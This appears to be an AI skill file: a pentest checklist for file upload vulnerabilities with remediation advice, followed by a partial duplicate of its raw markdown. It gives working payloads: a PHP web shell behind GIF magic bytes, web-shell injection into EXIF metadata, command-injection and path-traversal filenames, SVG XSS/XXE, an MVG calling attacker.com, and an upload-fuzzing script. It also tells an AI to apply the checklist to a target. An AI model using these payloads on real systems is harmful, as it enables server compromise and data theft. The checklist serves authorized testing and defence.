SKILL: File Upload Vulnerabilities
Metadata
Description
File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Trigger Phrases
Use this skill when the conversation involves any of:
file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
File Upload Vulnerabilities
Mechanisms
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> I
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.
These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
- Insufficient File Type Validation: Failure to properly validate the actual content/type of uploaded files
- Improper Extension Handling: Not restricting dangerous file extensions or allowing easy bypasses
- Inadequate File Content Analysis: Not checking the actual file content versus relying only on extension or content-type
- Unsafe File Storage: Storing files in executable directories or with dangerous permissions
- File Operation Mishandling: Not securely handling file operations during the upload process
- Directory Traversal Vulnerabilities: Allowing manipulation of upload paths
- Race Conditions: Timing issues during validation and moving of uploaded files
- Archive Extraction Flaws: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)
File upload vulnerabilities can manifest in various upload functionality patterns:
- Profile Picture Uploads: Common in user profiles and social media
- Document Repositories: File sharing services and document management systems
- Media Uploads: Image, video, and audio uploaders
- Bulk Import Features: CSV, XML, and other data import functionality
- Content Management Systems: Templates, plugins, themes, and media libraries
Hunt
Identifying File Upload Vulnerabilities
Target Discovery
Map File Upload Functionality:
- Profile picture uploads
- Document/attachment uploads
- Import/export features
- Media galleries
- CMS admin sections
- Backup/restore features
- Avatar/image uploads
Identify Upload Processing Patterns:
- Client-side validation patterns (JavaScript checks)
- Server-side validation indicators
- File type restrictions mentioned in UI
- Error messages related to file types
Testing Prerequisites:
- Collection of test files (various formats)
- Proxy for intercepting requests (Burp Suite, ZAP)
- Web shells for testing execution
- MIME-type tools for manipulation
- Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)
Testing Methodologies
Basic File Upload Testing:
- Test uploading standard expected files (baseline)
- Attempt uploading executable file types (PHP, ASP, JSP, etc.)
- Modify content-type headers during upload
- Change file extensions after client-side validation
Extension-Based Testing:
- Test alternate extensions for web shells:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif
.asp, .aspx, .ashx, .asmx, .cer, .asa
.jsp, .jspx, .jsw, .jsv, .jspf
.cfm, .cfml, .cfc, .dbm (Coldfusion)
.pl, .py, .rb, .cgi
- Test double extensions:
file.jpg.php
file.php.jpg
file.php.jpeg
file.php%00.jpg # Null byte (older versions)
file.php%20.jpg # URL encoded space
file.php%0d%0a.jpg # CRLF injection
file.php.blah123jpg # If regex is weak
- Test case sensitivity bypass:
file.PhP
file.Php5
file.AspX
file.pHp
file.pHP5
file.PhAr
- Test trailing characters/delimiters:
file.php.....
file.php/
file.php.\
file.php. # Trailing dot (Windows specific)
file.php%20 # Trailing space
file.php%09 # Trailing tab
file.php%0a # Trailing newline
file.php%0d # Trailing carriage return
file.php::$DATA # NTFS Alternate Data Stream (Windows specific)
file. # No extension
.html # Just extension
- Test filename manipulation:
# Try to cut extension with max filename length limit
# Try empty filename: .php
# Send filename parameter twice: filename="allowed.jpg";filename="shell.php"
Content-Type Testing:
- Modify the Content-Type header to bypass MIME validation:
Content-Type: image/jpeg # actual file is PHP
Content-Type: image/png # actual file is PHP
Content-Type: image/gif # actual file is PHP
Content-Type: application/x-php # declared as image/jpeg when sent
- Other Content-Type manipulations:
# Remove Content-Type header entirely
# Send Content-Type twice with allowed/disallowed values
Magic Byte Forging:
- If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.
# Example: Add GIF header to a PHP shell
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot File Testing:
Path and Filename Abuse Testing:
- Test path traversal in filename:
filename=../../../../etc/passwd
filename=/etc/passwd
filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)
- Test injections via filename (if filename is processed unsafely):
filename=a$(whoami)z.png # Command Injection
filename=a`whoami`z.png # Command Injection
filename="a';select+sleep(10);--z.png" # SQL Injection
filename=https://internal.service/data # SSRF attempt
- Test DoS via large filename (e.g., 255+ characters).
Archive Testing (Zip/Tar):
- Zip Slip: Create archives with path traversal (
../../tmp/shell.php).
- Symlink Abuse: Include symlinks in archives pointing to sensitive files (
ln -s /etc/passwd link.txt).
- Tar Permissions Abuse: Create tar with restrictive parent dir permissions (
chmod 300) but permissive subdir (chmod 700) containing symlinks.
- Also test LFI access via zip wrapper:
site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php
ImageMagick Testing:
- Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.
- See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.
Third-Party Library Testing:
- Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).
Race Condition Testing:
- File Upload Race: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.
- URL-Based Upload Race: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.
- HTTP/2 Multiplex Smuggling: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.
- Temp path reads: Try accessing temporary upload paths before move/scan completes.
SSRF via HTTP Range Requests:
- If uploading via URL, try manipulating
Range headers to potentially redirect parts of the download to internal servers.
Bypass Techniques
mindmap
root((Bypass Techniques))
Client-Side
Disable JavaScript
Request Interception
Extension Manipulation
MIME-Type Manipulation
Server-Side
Metadata Injection
Image Content Manipulation
Polyglot Techniques
Path Traversal
DenyList Bypass
Magic Byte Forging
Windows Specific Bypasses (. and ADS)
Client-Side Validation Bypasses
Disabling JavaScript:
- Disable JavaScript to bypass client-side checks
- Use browser developer tools to modify the DOM
Request Interception:
- Intercept and modify upload requests using Burp Suite or ZAP
- Change file parameters post-validation
Extension Manipulation Techniques:
# Null byte injection (for PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Using alternate representations
shell.php.....
shell.php;.jpg
shell.php::$DATA.jpg
# Manipulating request content
1. Upload legitimate image
2. Intercept request
3. Replace file content with shell while keeping filename
- MIME-Type Manipulation:
- Modify Content-Type header to match expected type
- Change file signature/magic bytes to appear as legitimate format
Server-Side Validation Bypasses
Metadata Injection:
- Inject code into image metadata (EXIF)
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg
Image Content Manipulation:
- Create images containing server-side code
# PHP code in GIF file
GIF89a;
<?php system($_GET['cmd']); ?>
Advanced Polyglot Techniques:
- Create files that are valid in multiple formats
# Valid JPG and PHP
Create JPG with PHP code after the image data
Add PHP code to EXIF data
Path Traversal in Upload Locations:
filename=../../../tmp/shell.php
filename=..%2f..%2f..%2ftmp%2fshell.php
filename=../../etc/passwd/logo.png # Example LFI attempt
filename=\\attacker-site.com\file.png # UNC Path (Windows specific)
Common DenyList Bypass:
escape "/" with "\/" or "//" with "\/\/"
try single "/" instead of "//"
remove http i.e. "continue=//google.com"
"/\/\" , "|/" , "/%09/"
encode, slashes
"./" CHANGE TO "..//"
"../" CHANGE TO "....//"
"/" CHANGE TO "//"
filename=..%2f..%2f..%2ftmp%2fshell.php
# Check IIS specific extensions if applicable
filename=shell.cer
filename=shell.asa
# Windows specific bypasses
filename=shell.aspx. # Trailing dot
filename=shell.php::$DATA # Alternate Data Stream (ADS)
filename=shell.php:.jpg # ADS confusion
GIF Comment Bypass:
- Inject payload within GIF comments.
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Magic Byte Forging:
- Prepend malicious file content with the magic bytes of an allowed file type.
# Example: GIF header + PHP shell
GIF89a;
<?php echo 'Magic Byte Bypass'; phpinfo(); ?>
Vulnerabilities
Common File Upload Vulnerability Patterns
graph TD
A[File Upload Vulnerabilities] --> B[Implementation-Specific]
A --> C[Impact Scenarios]
B --> D[CMS Upload Vulnerabilities]
B --> E[Framework Upload Vulnerabilities]
B --> F[Language-Specific Vulnerabilities]
C --> G[RCE]
C --> H[XSS]
C --> I[SSRF]
C --> J[DoS]
C --> K[LFI]
Implementation-Specific Vulnerabilities
CMS Upload Vulnerabilities:
- WordPress: Plugin and theme uploaders
Upload plugin ZIP with malicious PHP files
SVG uploads with XSS in media library
- Drupal: Module installations
Malicious module installation via admin panel
- Joomla: Template uploads
Malicious template installation
Framework Upload Vulnerabilities:
- PHP: File upload handling in common frameworks
Laravel file upload middleware bypass
CodeIgniter upload library misconfiguration
- Java: Spring MVC file upload handlers
Spring MultipartResolver misconfiguration
- ASP.NET: File upload components
ASP.NET FileUpload control misconfiguration
Language-Specific Upload Vulnerabilities:
- PHP: move_uploaded_file() race conditions
- Java: Temporary file creation vulnerabilities
- Node.js: Express-fileupload vulnerabilities
Impact Scenarios
Extension Impact Matrix
Common file extensions and their potential security impacts:
- Web Shells & RCE:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt
.asp, .aspx, .ashx, .asmx, .asa, .cer, xamlx (ASP.NET)
.jsp, .jspx, .jsw, .jsv, .jspf (Java Server Pages)
.cfm, .cfml, .cfc, .dbm (ColdFusion)
.pl, .py, .rb, .cgi
.htaccess (if Apache allows override, can reconfigure PHP handling or execute commands)
.config (web.config for IIS/ASP.NET)
- Client-Side Attacks:
.svg: Stored XSS, SSRF, XXE
.gif: Stored XSS (via comments), SSRF
.html, .js: HTML injection, XSS, Open redirect, Phishing
.wasm: WebAssembly modules for client-side code execution
.webp, .avif: Modern image format parser bugs
- Server-Side Attacks:
.csv: CSV injection (Formula Injection)
.xml: XXE
.avi, .mov: Potential LFI, SSRF (via external streams/subtitles)
.pdf, .pptx: SSRF, Blind XXE (via external entities/references)
.zip: RCE via LFI (using zip:// wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction)
.scf (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path)
- Denial of Service:
.png, .jpeg: Pixel flood attack (large dimensions/compressed data)
- Large filenames:
1234...99.png (e.g., > 255 chars)
- Zip bombs (highly compressed archives)
- Files exploiting parser libraries (ImageTragick, XML bombs)
Remote Code Execution (RCE)
File Inclusion Attack Chains
- LFI via Uploaded Files: Chaining local file inclusion with uploads
1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).
2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).
- LFI via Zip Wrapper:
1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).
2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`
XSS via Uploaded Files
- SVG-Based XSS:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS via SVG");
</script>
</svg>
- GIF Comment XSS:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
- HTML/JS File Uploads:
<!-- If .html or .js uploads are allowed and rendered -->
<script>
alert(document.cookie);
</script>
- Filename-Based XSS:
filename="<svg
filename="xss.<svg
Server-Side Request Forgery (SSRF) via Uploads
- XXE in SVG Uploads:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
- SVG Image Href SSRF:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />
</svg>
- PDF/PPTX SSRF: Exploiting features that fetch external resources.
- Upload from URL Feature: If the application allows providing a URL for upload, test internal IPs/metadata endpoints.
- SSRF via Filename: Submitting a URL as the filename (
filename=http://internal...).
- SSRF via HTTP Range Requests: Manipulating
Range header during URL fetch.
XXE via Uploads
- XML File Upload: Standard XXE payloads in
.xml files.
- SVG File Upload: See SSRF example above.
- Excel File Upload (
.xlsx): .xlsx files are zip archives containing XML files (like sharedStrings.xml) which can be crafted with XXE payloads.
- PDF/PPTX Blind XXE: Similar to SSRF, using external entity references.
Open Redirect via Uploads
Command Injection via Filename
SQL Injection via Filename
Denial of Service (DoS)
- Pixel Flood Attack: Uploading specially crafted images (e.g.,
lottapixel.jpg) that consume excessive resources during processing. (Reference)
- Zip Bomb: Uploading highly compressed archives that expand significantly.
- Large Filename: Using extremely long filenames can sometimes cause issues or DoS.
- Uploading files with content that exploits parsing libraries (e.g., ImageTragick, billion laughs XXE).
- Uploading
.eml files with Content-Type: text/html if processed insecurely.
- FFmpeg/Video Processing: Upload crafted video files (
.mp4, .avi, .mov) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.
- HEIC/AVIF Processing: Exploit parsing bugs in libheif/libavif during thumbnail generation.
- PDF.js Browser Rendering: Upload PDFs with malicious annotations or forms that exploit client-side renderers.
Additional Attack Vectors
ImageMagick Vulnerabilities
- Using .mvg files for SSRF/LFI:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://attacker.com/)'
pop graphic-context
- Using the gifoeb tool for memory disclosure:
./gifoeb gen 512x512 dump.gif
# Try different extensions:
./gifoeb gen 1123x987 dump.jpg
./gifoeb gen 1123x987 dump.png
# Recover pixels after upload and download:
# for p in previews/*; do ./gifoeb recover $p | strings; done
WAF Bypass Techniques
- URL Parameter Manipulation:
/?file=xx.php <- Blocked
/?file===xx.php <- Bypassed
- Content-Type Manipulation with Metadata:
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg
mv shell.jpg shell.php.jpg
New CVEs
- CVE-2024-29510 – Ghostscript ≤ 10.03.0 EPS/JPG RCE: Exploit via EPS-in-JPG polyglot when Ghostscript is used for image conversion.
- CVE-2024-53677 – Apache Struts S2-067: Multipart upload path-traversal leading to RCE.
- CVE-2024-57169 – SOPlanning ≤ 1.53: Arbitrary file upload to the web-root.
- CVE-2024-48514 – php-heic-to-jpg ≤ 1.0.5: Filename sanitisation bypass resulting in RCE during HEIC conversion.
- Image processing stacks (libvips/Sharp, GraphicsMagick/ImageMagick, Ghostscript, pdfium) continue to receive critical parser bugs; sandbox converters and track advisories.
- HEIC/AVIF conversion pipelines frequently mishandle temporary files and trust
Content-Type/magic bytes.
- Serverless image proxies (imgproxy, Thumbor, custom Lambda/Cloud Functions) often allow SSRF/LFI via remote URL sources.
Methodologies
Tools
File Upload Vulnerability Testing Tools
- Burp Suite: Content-Type and request manipulation, Intruder for fuzzing
- OWASP ZAP: Automated scanning for upload vulnerabilities
- ExifTool: Metadata manipulation for bypass testing
- Weevely: Web shell generation tool
- Fuxploider: File upload vulnerability scanner (GitHub)
- Upload Scanner (Burp Extension): (PortSwigger BApp Store)
- FUFF / ffuf / wfuzz: Fuzzing file upload endpoints, extensions, parameters
Custom Testing Scripts
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
def test_file_upload(target_url, file_path, file_name, content_type):
"""
Test file upload with custom parameters
"""
multipart_data = MultipartEncoder(
fields={
'file': (file_name, open(file_path, 'rb'), content_type)
}
)
headers = {
'Content-Type': multipart_data.content_type
}
response = requests.post(target_url, data=multipart_data, headers=headers)
# Return response for analysis
return {
'status_code': response.status_code,
'response_text': response.text,
'response_headers': dict(response.headers)
}
# Example usage:
target = 'https://target.com/upload.php'
test_cases = [
# Basic tests
{'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},
# Content-type tests
{'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},
# Extension tests
{'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},
{'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},
]
for test in test_cases:
result = test_file_upload(target, test['path'], test['name'], test['type'])
print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")
Testing Strategies
Comprehensive File Upload Testing Process
Discovery Phase:
- Map all file upload functionality
- Identify client-side and server-side validation patterns
- Document allowed file types and upload restrictions
Initial Testing Phase:
- Test baseline functionality with expected file types
- Test basic restriction bypasses:
- Extension manipulation
- Content-Type manipulation
- Simple payload attempts
Advanced Testing Phase:
- Test for complex bypass techniques:
- Polyglot files
- Metadata injection
- Race conditions
- Upload directory traversal
Exploitation Phase:
- Verify code execution for successful uploads
- Test chained attack scenarios
- Document impact and attack chains
Post-Exploitation Testing:
- Test upload persistence
- Test access control on uploaded files
- Test ability to access uploads across user contexts
Real-World Testing Examples
CMS File Upload Testing
- Identify CMS type and version
- Map file upload functionality (plugins, themes, media)
- Test bypasses specific to the CMS:
- WordPress: Plugin installation with malicious PHP
- Drupal: Module upload with executable code
- Joomla: Template upload with backdoor
- Verify code execution
Multi-step Bypass Testing
- Attempt standard upload with blocked extension (.php)
- If blocked, try modification techniques:
- Double extensions (.jpg.php)
- Alternate extensions (.phtml, .php5)
- Case manipulation (.pHP)
- If still blocked, try content manipulation:
- Change Content-Type header
- Modify magic bytes
- Use polyglot techniques
- If successful, verify execution path
SVG Upload for XSS Testing
- Create malicious SVG:
<svg xmlns="http://www.w3.org/2000/svg"
- Upload to target site
- Access uploaded SVG directly or in context
- Verify XSS execution
Remediation Recommendations
Implement Proper Validation:
- Validate file type using content inspection, not just extension
- Use file signature/magic byte checking
- Implement allowlist approach for permitted file types AND extensions (Defense in Depth)
Apply Multiple Security Layers:
- Implement client-side AND server-side validation
- Use content-type validation AND extension validation
- Scan uploaded files with security tools
- Use separate domains or CDNs for user-uploaded content (reduces XSS risk)
- Implement proper, restrictive permissions on upload directories (prevent execution)
Store Files Securely:
- Store uploaded files outside the web root when possible
- Use separate domains for user-uploaded content
- Implement proper permissions on upload directories
Process Uploaded Files:
- Remove metadata from images
- Re-encode/compress uploaded images
- Strip potentially dangerous content
- Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)
- Validate file paths against directory traversal
- Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.
- Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.
- Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.
Implement File Upload Best Practices:
- Set upload size limits
- Implement file scanning for malware
- Use random, unpredictable filenames
- Validate file paths against directory traversal
Context-Specific Controls:
- For image uploads: Validate dimensions and recompress
- For document uploads: Convert to PDF or other safe format
- For code uploads: Implement sandbox execution environment or strict validation/linting
HTTP Headers:
- For downloaded files, set
Content-Disposition: attachment; filename="user_safe_filename.ext" to force download prompt.
- Set
X-Content-Type-Options: nosniff to prevent browsers from MIME-sniffing the content type away from the declared one.
Cloud / Object-Storage Upload Checklist
- Use presigned URLs with short TTL (≤ 60 s) and single-use semantics.
- Enforce
bucket-owner-enforced ACL or Object Lock to prevent post-scan overwrites.
- Require server-side encryption headers (for example
x-amz-server-side-encryption) on presigned PUTs.
- Restrict the IAM role used for uploads to PutObject only; deny
GetObject and DeleteObject unless required.
- Validate the object key on the backend after upload; reject keys containing
../ or control characters.
- For compute workers processing uploads, enforce IMDSv2 and limit egress to mitigate SSRF pivots.
Cloud/Object Storage Advanced
- Presigned POST policies: verify policy
conditions enforce content-type, size, and key prefix; reject uploads whose actual Content-Type differs at processing time.
- Compute ETag/MD5 checks; reject mismatched
Content-MD5 values; beware S3 multipart ETag semantics for multi-part uploads.
- Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.
- Prevent key confusion: disallow keys with
%2f, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.
- CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.
- Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.
Chunked/Streaming and CDN/Image Pipelines
- HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.
- Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.
- Image pipelines with
?url= sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.
1---2name: offensive-file-upload3description: File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty. Use only for authorized security research, training, or assessment.4license: MIT5---6# SKILL: File Upload Vulnerabilities78## Metadata9- **Skill Name**: file-upload10- **Folder**: offensive-file-upload11- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/file-upload.md1213## Description14File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.1516## Trigger Phrases17Use this skill when the conversation involves any of:18`file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload`1920## Instructions for Claude2122When this skill is active:231. Load and apply the full methodology below as your operational checklist242. Follow steps in order unless the user specifies otherwise253. For each technique, consider applicability to the current target/context264. Track which checklist items have been completed275. Suggest next steps based on findings2829---3031## Full Methodology3233# File Upload Vulnerabilities3435## Mechanisms3637```mermaid38flowchart TD39 A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]40 A --> C[Improper Extension Handling]41 A --> D[Inadequate File Content Analysis]42 A --> E[Unsafe File Storage]43 A --> F[File Operation Mishandling]44 A --> G[Directory Traversal]45 A --> H[Race Conditions]4647 B --> I[Remote Code Execution]48 C --> I49 D --> J[Client-Side Attacks]50 E --> I51 F --> K[Denial of Service]52 G --> L[Arbitrary File Access]53 H --> I54```5556File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms.57These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.5859The core technical issues behind file upload vulnerabilities include:6061- **Insufficient File Type Validation**: Failure to properly validate the actual content/type of uploaded files62- **Improper Extension Handling**: Not restricting dangerous file extensions or allowing easy bypasses63- **Inadequate File Content Analysis**: Not checking the actual file content versus relying only on extension or content-type64- **Unsafe File Storage**: Storing files in executable directories or with dangerous permissions65- **File Operation Mishandling**: Not securely handling file operations during the upload process66- **Directory Traversal Vulnerabilities**: Allowing manipulation of upload paths67- **Race Conditions**: Timing issues during validation and moving of uploaded files68- **Archive Extraction Flaws**: Insecure handling of archive formats like ZIP or TAR (e.g., Symlink abuse, Zip Slip)6970File upload vulnerabilities can manifest in various upload functionality patterns:7172- **Profile Picture Uploads**: Common in user profiles and social media73- **Document Repositories**: File sharing services and document management systems74- **Media Uploads**: Image, video, and audio uploaders75- **Bulk Import Features**: CSV, XML, and other data import functionality76- **Content Management Systems**: Templates, plugins, themes, and media libraries7778## Hunt7980### Identifying File Upload Vulnerabilities8182#### Target Discovery83841. **Map File Upload Functionality**:85 - Profile picture uploads86 - Document/attachment uploads87 - Import/export features88 - Media galleries89 - CMS admin sections90 - Backup/restore features91 - Avatar/image uploads92932. **Identify Upload Processing Patterns**:94 - Client-side validation patterns (JavaScript checks)95 - Server-side validation indicators96 - File type restrictions mentioned in UI97 - Error messages related to file types98993. **Testing Prerequisites**:100 - Collection of test files (various formats)101 - Proxy for intercepting requests (Burp Suite, ZAP)102 - Web shells for testing execution103 - MIME-type tools for manipulation104 - Containerized/sandboxed converters ready for validation (e.g., bwrap/seccomp profiles)105106#### Testing Methodologies1071081. **Basic File Upload Testing**:109 - Test uploading standard expected files (baseline)110 - Attempt uploading executable file types (PHP, ASP, JSP, etc.)111 - Modify content-type headers during upload112 - Change file extensions after client-side validation1131142. **Extension-Based Testing**:115 - Test alternate extensions for web shells:116 ```117 .php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif118 .asp, .aspx, .ashx, .asmx, .cer, .asa119 .jsp, .jspx, .jsw, .jsv, .jspf120 .cfm, .cfml, .cfc, .dbm (Coldfusion)121 .pl, .py, .rb, .cgi122 ```123 - Test double extensions:124 ```125 file.jpg.php126 file.php.jpg127 file.php.jpeg128 file.php%00.jpg # Null byte (older versions)129 file.php%20.jpg # URL encoded space130 file.php%0d%0a.jpg # CRLF injection131 file.php.blah123jpg # If regex is weak132 ```133 - Test case sensitivity bypass:134 ```135 file.PhP136 file.Php5137 file.AspX138 file.pHp139 file.pHP5140 file.PhAr141 ```142 - Test trailing characters/delimiters:143 ```144 file.php.....145 file.php/146 file.php.\147 file.php. # Trailing dot (Windows specific)148 file.php%20 # Trailing space149 file.php%09 # Trailing tab150 file.php%0a # Trailing newline151 file.php%0d # Trailing carriage return152 file.php::$DATA # NTFS Alternate Data Stream (Windows specific)153 file. # No extension154 .html # Just extension155 ```156 - Test filename manipulation:157 ```158 # Try to cut extension with max filename length limit159 # Try empty filename: .php160 # Send filename parameter twice: filename="allowed.jpg";filename="shell.php"161 ```1621633. **Content-Type Testing**:164 - Modify the Content-Type header to bypass MIME validation:165 ```166 Content-Type: image/jpeg # actual file is PHP167 Content-Type: image/png # actual file is PHP168 Content-Type: image/gif # actual file is PHP169 Content-Type: application/x-php # declared as image/jpeg when sent170 ```171 - Other Content-Type manipulations:172 ```173 # Remove Content-Type header entirely174 # Send Content-Type twice with allowed/disallowed values175 ```1761774. **Magic Byte Forging**:178 - If validation relies on magic bytes, prefix the malicious file content with valid magic bytes of an allowed type.179180 ```181 # Example: Add GIF header to a PHP shell182 GIF89a;<?php system($_GET['cmd']); ?>183 ```1841855. **Polyglot File Testing**:186 - Create and test polyglot files (valid in multiple formats)187 ```188 GIFAR files (GIF + RAR)189 Valid Image + PHP code in EXIF metadata190 PDF + PHP code191 SVG + JavaScript for XSS192 ```193 - see [@dan_crowley's talk](http://goo.gl/pquXC2) and [@angealbertini research](https://github.com/abzcoding/Notes/blob/master/pentest/corkami.com)1941956. **Path and Filename Abuse Testing**:196 - Test path traversal in filename:197 ```198 filename=../../../../etc/passwd199 filename=/etc/passwd200 filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)201 ```202 - Test injections via filename (if filename is processed unsafely):203 ```204 filename=a$(whoami)z.png # Command Injection205 filename=a`whoami`z.png # Command Injection206 filename="a';select+sleep(10);--z.png" # SQL Injection207 filename=https://internal.service/data # SSRF attempt208 ```209 - Test DoS via large filename (e.g., 255+ characters).2102117. **Archive Testing (Zip/Tar)**:212 - **Zip Slip**: Create archives with path traversal (`../../tmp/shell.php`).213 - **Symlink Abuse**: Include symlinks in archives pointing to sensitive files (`ln -s /etc/passwd link.txt`).214 - **Tar Permissions Abuse**: Create tar with restrictive parent dir permissions (`chmod 300`) but permissive subdir (`chmod 700`) containing symlinks.215 - Also test LFI access via zip wrapper: `site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php`2162178. **ImageMagick Testing**:218 - Test for vulnerabilities like SSRF, LFI, RCE (e.g., ImageTragick CVEs) if the server uses ImageMagick for image processing.219 - See details in the "Impact Scenarios -> ImageMagick Vulnerabilities" section.2202219. **Third-Party Library Testing**:222 - Check for vulnerabilities in libraries used for processing uploads (e.g., ExifTool CVE-2021-22204).22322410. **Race Condition Testing**:225 - **File Upload Race**: Rapidly request the uploaded file path immediately after initiating the upload, attempting access before validation/removal.226 - **URL-Based Upload Race**: If uploading via URL, rapidly request the temporary local copy path while the server fetches/validates.227 - **HTTP/2 Multiplex Smuggling**: Abuse concurrent stream uploads to bypass validation or size limits by interleaving unvalidated chunks.228 - **Temp path reads**: Try accessing temporary upload paths before move/scan completes.22923011. **SSRF via HTTP Range Requests**:231 - If uploading via URL, try manipulating `Range` headers to potentially redirect parts of the download to internal servers.232233### Bypass Techniques234235```mermaid236mindmap237 root((Bypass Techniques))238 Client-Side239 Disable JavaScript240 Request Interception241 Extension 